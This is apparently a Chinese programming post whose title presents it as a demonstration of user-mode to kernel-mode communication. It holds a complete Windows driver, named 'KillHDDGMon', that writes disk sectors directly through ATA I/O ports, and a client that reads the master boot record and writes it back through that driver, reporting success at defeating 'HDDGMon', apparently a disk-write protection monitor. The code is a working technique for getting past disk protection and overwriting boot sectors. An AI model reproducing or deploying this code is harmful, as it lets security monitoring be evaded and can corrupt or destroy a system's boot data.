天天看点

ring3与ring0的通信

ring0程序:

#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\KillHDDGMon"
#define LINK_NAME L"\\DosDevices\\KillHDDGMon"

#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801,METHOD_BUFFERED, FILE_ANY_ACCESS)


NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject, PIRP pIrp);
NTSTATUS DispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP pIrp);
VOID DriverUnload(PDRIVER_OBJECT DriverObject);

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
	NTSTATUS status = STATUS_SUCCESS;
	UNICODE_STRING ustrDevName;
	UNICODE_STRING ustrLinkName;
	PDEVICE_OBJECT pDevObj = NULL;

	DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
	DriverObject->DriverUnload = DriverUnload;

	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
	status = IoCreateDevice(DriverObject, 0, &ustrDevName,
					FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);

	if(!NT_SUCCESS(status))
	{	return status;		}

	RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);

	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj);
		return status;
	}

	return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
	UNICODE_STRING ustrLinkName;

	RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
	IoDeleteSymbolicLink(&ustrLinkName);

	IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
{
	NTSTATUS status = STATUS_NOT_SUPPORTED;
	PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	ULONG outSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	ULONG IoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;

	switch(IoControlCode)
	{
	case IOCTL_WRITE:
		__asm
		{
			push eax
			push edx
			//---------------------------------------------------
			// 以下代码用I/O端口来写主引导区

			mov dx,1f6h	// 要读入的磁盘号及磁头号
			mov al,0a0h	// 磁盘0,磁头0
			out dx,al

			mov dx,1f2h	// 要写的扇区数量
			mov al,1	// 写一个扇区
			out dx,al

			mov dx,1f3h	// 要写的扇区号
			mov al,1	// 写到1扇区
			out dx,al

			mov dx,1f4h	// 要写的柱面的低8位
			mov al,0	// 低8位为0
			out dx,al

			mov dx,1f5h	// 要写的柱面的高2位
			mov al,0	// 高2位为0
			out dx,al

			mov dx,1f7h	// 命令端口
			mov al,30h	// 尝试着写扇区
			out dx,al

			still_going_1:
			in al,dx
			test al,8	// 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行
			jz still_going_1

			pop edx
			pop eax
		}

		WRITE_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
		status = STATUS_SUCCESS;
		break;

	case IOCTL_READ:
		if(outSize >= 512)
		{
			__asm
			{
				push eax
				push edx
				//---------------------------------------------------
				// 以下代码用I/O端口来读主引导区

				mov dx,1f6h	// 要读入的磁盘号及磁头号
				mov al,0a0h	// 磁盘0,磁头0
				out dx,al 

				mov dx,1f2h	// 要读入的扇区数量
				mov al,1	// 读一个扇区
				out dx,al 

				mov dx,1f3h	// 要读的扇区号
				mov al,1	// 扇区号为1
				out dx,al 

				mov dx,1f4h	// 要读的柱面的低8位
				mov al,0	// 柱面低8位为0
				out dx,al 

				mov dx,1f5h	// 柱面高2位
				mov al,0	// 柱面高2位为0(通过1F4H和1F5H端口我们可以确定用来读的柱面号是0)
				out dx,al 

				mov dx,1f7h	// 命令端口
				mov al,20h	// 尝试读取扇区
				out dx,al

				still_going_2: 
				in al,dx	// 扇区缓冲是否准备好
				test al,8	// 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。
				jz still_going_2	

			/*	mov cx,512/2	// 设置循环次数(512/2次)
				mov di,offset buffer
				mov dx,1f0h	// 将要传输的一个字节的数据
				rep insw	// 传输数据		*/

				//---------------------------------------------------
				pop edx
				pop eax
			}

			//RtlCopyMemory(pIoBuffer, (PVOID)&g_swNiceToMeetYouToo[0], 512);
			READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
			pIrp->IoStatus.Information = 512;
			status = STATUS_SUCCESS;
		}
		else
		{
			pIrp->IoStatus.Information = 0;
			status = STATUS_BUFFER_TOO_SMALL;
		}
		break;
	}
	
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return status;
}
           

ring3:

//#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>

#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801,METHOD_BUFFERED, FILE_ANY_ACCESS)

int main(int argc, char* argv[])
{	
	DWORD dwBytesReturned = 0;
	BYTE bytBuffer_1[512];
	BYTE bytBuffer_2[512];
	CHAR string[2048];
	HANDLE hDevice, hDriver;
	BOOL bRet;

	hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, 0, NULL);

	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("\nFailed - CreateFile - Open the PhysicalDrive0.\n");
		return 0;
	}

	bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);

	if(bRet == FALSE)
	{
		printf("\nFailed - ReadFile - the first one.\n");
		return 0;
	}

	printf("\nRead MBR using the ReadFile function...\n");
	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	sprintf(string, "\n");

	for(DWORD i = 0; i < 512; i++)
	{
		sprintf(string, "%s %02X", string, bytBuffer_1[i]);

		if(((i + 1) % 16) == 0)
			sprintf(string, "%s\n", string);

		if(((i + 1) % 16) == 8)
			sprintf(string, "%s -", string);
	}

	printf("%s", string);

	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	hDriver = CreateFile("\\\\.\\KillHDDGMon", GENERIC_READ|GENERIC_WRITE,
		0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if(hDriver == INVALID_HANDLE_VALUE)
	{
		printf("\nFailed - CreateFile - Open the Driver.\n");
		return 0;
	}

	bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,
		&dwBytesReturned, NULL);
	if(bRet == FALSE)
	{
		printf("\nFailed - DeviceIoControl - IOCTL_READ - the first one.\n");
		return 0;
	}

	printf("\nRead MBR using I/O port operations...\n");
	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	sprintf(string, "\n");

	for(DWORD m = 0; m < 512; m++)
	{
		sprintf(string, "%s %02X", string, bytBuffer_2[m]);

		if(((m + 1) % 16) == 0)
			sprintf(string, "%s\n", string);

		if(((m + 1) % 16) == 8)
			sprintf(string, "%s -", string);
	}

	printf("%s", string);

	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	bRet = DeviceIoControl(hDriver, IOCTL_WRITE, (LPVOID)bytBuffer_1, 512,
		NULL, 0, &dwBytesReturned, NULL);
	if(bRet == FALSE)
	{
		printf("\nFailed - DeviceIoControl - IOCTL_WRITE.\n");
		return 0;
	}

	printf("\nWrite MBR using I/O port operations...\n");

	bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);

	if(bRet == FALSE)
	{
		printf("\nFailed - ReadFile - the second one.\n");
		return 0;
	}

	printf("\nRead MBR using the ReadFile function...\n");
	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	sprintf(string, "\n");

	for(DWORD n = 0; n < 512; n++)
	{
		sprintf(string, "%s %02X", string, bytBuffer_1[n]);

		if(((n + 1) % 16) == 0)
			sprintf(string, "%s\n", string);

		if(((n + 1) % 16) == 8)
			sprintf(string, "%s -", string);
	}

	printf("%s", string);

	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,
		&dwBytesReturned, NULL);
	if(bRet == FALSE)
	{
		printf("\nFailed - DeviceIoControl - IOCTL_READ - the second one.\n");
		return 0;
	}

	printf("\nRead MBR using I/O port operations...\n");
	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	sprintf(string, "\n");

	for(DWORD t = 0; t < 512; t++)
	{
		sprintf(string, "%s %02X", string, bytBuffer_2[t]);

		if(((t + 1) % 16) == 0)
			sprintf(string, "%s\n", string);

		if(((t + 1) % 16) == 8)
			sprintf(string, "%s -", string);
	}

	printf("%s", string);

	printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

	printf("\nSucceed - Kill HDDGMon.\n");
	return 1;
}